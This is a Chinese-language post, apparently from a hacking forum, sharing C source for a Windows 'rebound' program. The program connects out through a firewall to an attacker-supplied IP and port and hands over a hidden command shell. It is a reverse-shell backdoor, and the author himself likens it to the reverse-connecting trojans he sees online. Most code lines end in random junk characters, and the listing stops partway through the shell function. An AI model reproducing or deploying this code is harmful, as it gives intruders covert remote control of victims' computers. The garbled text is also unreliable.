这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WPmH4L>T
p=7{
/* ============================== QU]&q`GE
Rebound port in Windows NT fZqqU|tq
By wind,2006/7 !y&uK&1
===============================*/ ,dTRM
#include ;wi}6rF%[i
#include zq=X;}qYj
a5/6DK>
#pragma comment(lib,"wsock32.lib") mUmU_L u8
*v}8n95*2
void OutputShell(); x +=zG4Hm
SOCKET sClient; )AxgKBW
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F%t_9S,)O
OR &'
void main(int argc,char **argv) WUwH W
{ []'gIF
WSADATA stWsaData; }9k/Y/.
int nRet; 4&}V3"lg
SOCKADDR_IN stSaiClient,stSaiServer; o=t@83Fh5
Fgf5OHX
if(argc != 3) [z2XK4\e1T
{ bjQp6!TsZ
printf("Useage:\n\rRebound DestIP DestPort\n"); u?(@hUV.
return; _6b?3[Xz
} \{Qd
3D"2yTM(
WSAStartup(MAKEWORD(2,2),&stWsaData); RObo4
Rqi=AQ
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vq'\`$_
5r*5Co+
stSaiClient.sin_family = AF_INET; KW* 2'C&
stSaiClient.sin_port = htons(0); {`FkiB` i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0zQ^ 6@
ne]P -50
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {t.5cX"[
{ k`l={f8C
printf("Bind Socket Failed!\n"); 9{D u)k
return; xJphG
} k$u\\`i]oC
{:D8@jb[
stSaiServer.sin_family = AF_INET; {XHAQ9'
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
PTU_<\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V`/E$a1&
UlG8c~p
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C 2f=9n/
{ qO;.{f
printf("Connect Error!"); O_9M
/[<
return; 9g7d:zG
} f<14-R=
OutputShell(); y&ZyThqg
} B3+9G,or
|WiE`&?xP
void OutputShell() 4LEWOWF}
{ r{cefKJHg
char szBuff[1024];
n[vwwY
SECURITY_ATTRIBUTES stSecurityAttributes; <>n-+Kr
OSVERSIONINFO stOsversionInfo; ;Y6XX_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nx
STARTUPINFO stStartupInfo; GI+x,p
char *szShell; <EhOIN7@*D
PROCESS_INFORMATION stProcessInformation; v r=va5
unsigned long lBytesRead; ans(^Up$
*oby(D"p
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {8TLL@T4
oO0dN1/
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7U9*-9
stSecurityAttributes.lpSecurityDescriptor = 0; S:bYeD4
stSecurityAttributes.bInheritHandle = TRUE; |/qwR~
?z
hw0
q 9e(YX>
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &d%\&fCm(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X#ZQpo'h
*^ZJ&.
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J!{t/_aw
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B(pxyv)
stStartupInfo.wShowWindow = SW_HIDE; f`$F^=
stStartupInfo.hStdInput = hReadPipe; ,4Q1[K35B
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h23"<
TpAE 9S
GetVersionEx(&stOsversionInfo); fH@P&SX